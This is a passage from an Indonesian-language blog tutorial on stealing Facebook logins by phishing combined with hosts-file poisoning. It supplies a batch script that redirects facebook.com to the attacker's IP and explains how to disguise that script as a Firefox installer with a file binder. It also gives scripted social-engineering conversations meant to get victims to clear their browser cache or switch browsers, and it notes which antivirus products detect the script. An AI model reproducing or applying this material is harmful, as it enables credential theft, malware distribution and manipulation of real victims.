b. cari action="https://login.facebook.com/login.php?login_attempt=1" dan ubah menjadi action="login.php"
Jika sudah silahkan save lagi.

4. menyiapkan script sederhana untuk mempoisoning file hosts
Disini saya akan menggunakan batch file untuk melakukan poisoning terhadap file hosts korban

cls

@echo off

ipconfig /flushdns

copy c:\windows\system32\drivers\etc\hosts c:\

attrib +h +s c:\hosts

echo 114.58.56.177 >> facebook.com c:\windows\system32\drivers\etc\hosts

echo 114.58.56.177 >> www.facebook.com c:\windows\system32\drivers\etc\hosts

exit
save dengan nama ubah.bat
Tau kan cara kerjanya? sebenarnya perintah yang dibutuhkan hanya pada bagian echo saja. tapi tambahan-tambahan scriptnya saya berikan dengan alasan untuk membuat backup hosts asli korban, karena modifikasi file hosts ini bersifat permanen sehingga jika tidak dikembalikan ke bentuk semula mungkin target kita tidak akan bisa memasuki situs facebook sampai dia install ulang windowsnya lagi. Dan perlu diingat juga bahwa ip kita adalah dinamic sehingga kecil kemungkinan kita bisa mendapatkan IP kita kembali jika telah terjadi disconnect modem. (g ada gunanya lagi)

Yang perlu di perhatikan lagi pada bagian echo adalah:
- 114.58.56.177 >> merupakan IP saya, karena ini bersifat dinamic, maka anda harus menjaga agar koneksi internet anda tidak putus terlebih dahulu sebelum korban mengakses situs phising anda.
- www.facebook.com dan facebook.com >> pengentrian 2 web ini dikarenakan terdapat perbedaan antara ketika kita ketik facebook.com dan www.facebook.com
untuk lebih jelasnya silahkan lihat di bawah:

C:\Documents and Settings\thunder>nslookup

Default Server: ns2.indosat.net.id

Address: 202.155.0.15

> www.facebook.com

Server: ns2.indosat.net.id

Address: 202.155.0.15

Non-authoritative answer:

Name: a2047.w7.akamai.net

Addresses: 114.57.28.24, 114.57.28.18, 114.57.28.10, 114.57.28.25

114.57.28.19, 114.57.28.9, 114.57.28.17

Aliases: www.facebook.com, www.facebook.com.edgesuite.net

> facebook.com

Server: ns3.indosat.net.id

Address: 202.155.0.10

Non-authoritative answer:

Name: facebook.com

Addresses: 69.63.181.11, 69.63.181.12, 69.63.189.11, 69.63.189.16

> m.facebook.com

Server: ns2.indosat.net.id

Address: 202.155.0.15

Non-authoritative answer:

Name: a2047.w7.akamai.net

Addresses: 114.57.28.10, 114.57.28.25, 114.57.28.19, 114.57.28.9

114.57.28.17, 114.57.28.24, 114.57.28.18

Aliases: m.facebook.com, m.facebook.com.edgesuite.net

beda url beda IP. Jadi sudah tahu kan mengapa saya memasukkan 2 address facebook )-l

NOTE: di karenakan sript batch tersebut memodifikasi system32 maka akan terdetect oleh kaspersky sebagai "modifikasi file host", lalu kasperksy akan menanyakan apakah ingin tetap ingin melanjutkan atau tidak. Jadi jika komputer korban menggunakan kaspersky ,kecil kemungkinan script ini berhasil. Akan tetapi pada smadav script ini bisa berjalan tanpa kendala. Untuk antivirus yang lain saya belum mencobanya. Thanx

5. Sosial engineering
Sesudah menyimpan file ubah.bat tadi sebenarnya bahan-bahan kita sudah selesai. Akan tetapi siapa yang mau mendownload dan menjalankan file bat begitu saja?? tentu target akan curiga bukan?? untuk itu kita memerlukan program binder seperti microjoiner, exebinder dengan file yang kiranya mau diterima oleh korban. Untuk itu kita memerlukan sedikit teknik sosial engineering agar mengetahui file apa yang kiranya mau di download dan dijalankan oleh korban. Setelah mengetahui file apa yang di butuhkan, anda bisa membinding file tersebut dengan ubah.bat di atas dengan menggunakan program binder tentunya.

sedikit mengenai tutorial binder file bat dengan microjoiner. misalnya saya ingin menggabungkan file ubah.bat dengan file installer_firefox.exe download microjoiner di http://www.cobans.net/joiner.php
lalu download quick batch file compiler (QBFC) di http://www.abyssmedia.com/quickbfc
1. install semua aplikasi tsb 2. buka QBFC, lalu pilih open dan pilih file ubah.bat yang telah kita buat tadi. Lalu pilih build. dan berinama ubah.exe 3. buka microjoiner. drag installer_firefox.exe dan ubah.exe ke dalam layar microjoiner. Selanjutnya pilih set icon dan pilih installer_mozilla.exe agar iconnya sama dengan icon dari installer_firefox.exe. Setelah itu pilih create. Maka file gabungan tadi akan berada pada direktory tempat anda menyimpan microjoiner dengan nama joined.exe. Rename joined.exe menjadi installer_firefox.exe agar terlihat seperti installer_firefox.exe yang asli
KET: kita membutuhkan QBFC dikarenakan microjoiner tidak bisa membedakan antara file bat dengan exe, sehingga jika menggabungkan file batch tadi secara langsung maka akan terjadi error (maklum microjoiner adalah program sederhana)

Selanjutnya lakukan social engineering agar korban mau mendownload dan menginstall file installer_firefox.exe yang tadi kita buat.

Setelah korban mendownload file tadi. Usahakan agar dia langsung menjalankan software tersebut. Karena di sini kita di kejar oleh waktu. Karena jika modem anda mengalami disconnect maka semuanya akan hancur berantakan, karena IP kita telah berubah (pasti tahu kan mengenai IP dinamic)

OK. Anggap korban sudah menjalankan program kita tadi. Kini ada permasalahan selanjutnya, yaitu mengenai cache browser yang nggak akan hilang jika dia terus melakukan koneksi ke server korban dengan browser yang sama :(

Begini, coba masuk ke situs www.cruzenaldo.com atau cukup dengan melakukan perintah ping ke www.cruzenaldo.com
lalu masuk cmd dan ketik ipconfig /displaydns
C:\Documents and Settings\thunder>ping www.cruzenaldo.com
Pinging www.cruzenaldo.com [202.78.195.116] with 32 bytes of data:
Reply from 202.78.195.116: bytes=32 time=276ms TTL=56 Reply from 202.78.195.116: bytes=32 time=291ms TTL=56 Reply from 202.78.195.116: bytes=32 time=258ms TTL=56 Reply from 202.78.195.116: bytes=32 time=238ms TTL=56
Ping statistics for 202.78.195.116: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 238ms, Maximum = 291ms, Average = 265ms
C:\Documents and Settings\thunder>ipconfig /displaydns
Windows IP Configuration

www.cruzenaldo.com ---------------------------------------- Record Name . . . . . : www.cruzenaldo.com Record Type . . . . . : 1 Time To Live . . . . : 3486 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 202.78.195.116[/code] selang beberapa detik kemudian saya ketik lagi [code]C:\Documents and Settings\thunder>ipconfig /displaydns
Windows IP Configuration
www.cruzenaldo.com ---------------------------------------- Record Name . . . . . : www.cruzenaldo.com Record Type . . . . . : 1 Time To Live . . . . : 3321 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 202.78.195.116 Nah,, coba lihat time to live pada www.cruzenaldo.com = 3486 second menjadi 3321 second. Ingat kan mengenai cache DNS yang di atas tadi?? ;)
Oleh karena itu untuk menghindari komputer korban masih mengingat IP dari situs facebook yang asli maka kita perlu menghapus cache DNS nya terlebih dahulu. Oleh karena itu untuk mengakali cache DNS ini, saya memasukkan operator ipconfig /flushdns pada ubah.bat di atas untuk menghapus cache DNS yang ada.

Akan tetapi kita masih terkendala dengan adanya cache browser. Jika browser masih menyimpan cache dari situs facebook asli maka berdasarkan pengalaman , korban memerlukan waktu yang lama untuk mengakses situs facebook dari PC kita jika dia tidak pernah menghapus cache browsernya. padahal kita juga tidak boleh membiarkan alamat IP kita mengalami perubahan dikarenakan disconnect :(

Begini, pada saat browser kita pertama kali mendownload halaman facebook beserta konten2nya, maka browser akan menyimpan konten-konten tersebut pada cache. Jika kita mengakses halaman facebook lagi, maka seluruh kontennya bukan berasal dari server facebook lagi, melainkan diambil dari cache browser tersebut. Jadi selama cache ini tidak di bersihkan maka, kecil kemungkinan korban akan masuk ke localhost kita.

Oleh karena itu, saya lebih suka memilih cara sosial engineering ini.
skenario 1
hacker: mas, enaknya setiap kali kita tutup browser kita, kita mesti delete semua history,cache dan cookiesnya nggak?
victim: iya mas, saya menyetting firefox saya agar menghapus data2nya ketika menutup browser. Biar aman mas
hacker: owh,, bla..blaa..
victim: bla...blaa.. hacker: kok aneh ya mas, saya kok nggak bisa login di fb saya?
victim: bisa kok mas, mungkin bla..blaa... saya aja lagi online kok
hacker: mmh... coba dech mas tutup firefoxnya dulu, lalu masuk ke fb, soalnya saya td bisa, kok sekrng tiba2 nggak bisa
victim: ok saya coba
jika cache nya selalu di hapus setiap menutup browser, maka itu adalah kesempatan emas kita (^-^)

skenario 2
hacker: mas, seringnya pake browser apa mas?
victim: pake firefox bro, memang nya kenapa mas?
hacker: owh,, ini mas aneh banget, kenapa ya saya tidak bisa login facebook dari IE, padahal saya coba dari firefox bisa.
victim: waduh mas, nggak tahu saya, mungkin bla..bla..
hakcer: coba dech mas login facebook dari IE
victim: OK saya coba
Kenapa saya mengajak korban menggunakan browser yang jarang di pakai (dalam hal ini adalah IE)??
karena permasalahan cache browser yang tadi. Sehingga kemungkinan cache pada browser tersebut masih / sudah bersih (karena lama tidak digunakan). Cara ini tentunya lebih baik daripada memaksa korban menghapus cache browsernya yang tentunya akan menimbulkan kecurigaan.

Jika proses tersebut berhasil maka PC korban akan memasuki situs phising kita (tentunya anda harus mengaktifkan xampp terlebih dahulu). Dan selanjutnya email dan pass nya akan dapat anda lihat di c:\xampp\htdocs\hasil.txt

Jika sudah selesai, jangan lupa untuk mengembalikan file hosts korban ke kondisi semula di lain waktu. Karena jika tidak, maka komputer korban tidak akan bisa mengakses halaman facebook sampai dia install ulang windowsnya. Script pengembalian sederhananya seperti ini
cls
@echo off
del c:\windows\system32\drivers\etc\hosts
attrib -s -h c:\hosts
move c:\hosts c:\windows\system32\drivers\etc

Kesimpulan:
cara kerjanya adalah begini
kita melakukan DNS spoofing dengan cara merubah isi dari file HOSTS (file hosts poisoning). Dimana pada file HOSTS tersebut kita masukkan alamat IP kita sebagai acuan untuk situs facebook pada komputer korban. Ketika korban memasukkan alamat www.facebook.com atau facebook.com maka sebenarnya dia sedang mengakses halaman phising pada localhost kita, bukan mengakses situs facebook yang asli. Sehingga email dan pass yang di masukkan ke dalam halaman situs itu akan tercatat pada c:\xampp\htdocs\hasil.txt silahkan lihat

maaf kepanjangan :(
semoga berguna )-l )-l

saya mau pamit pulag kampung dulu (^-^)

HOME

Jumat, 25 Juni 2010

Tutorial menggunakan Remote Desktop Connection pada windows

---Selamat mempelajarinya---

Hacking soal-soal online

Senin, 21 Juni 2010

flood sms dengan cara sederhana

Kamis, 03 Juni 2010

implementasi phising dengan metode DNS Spoofing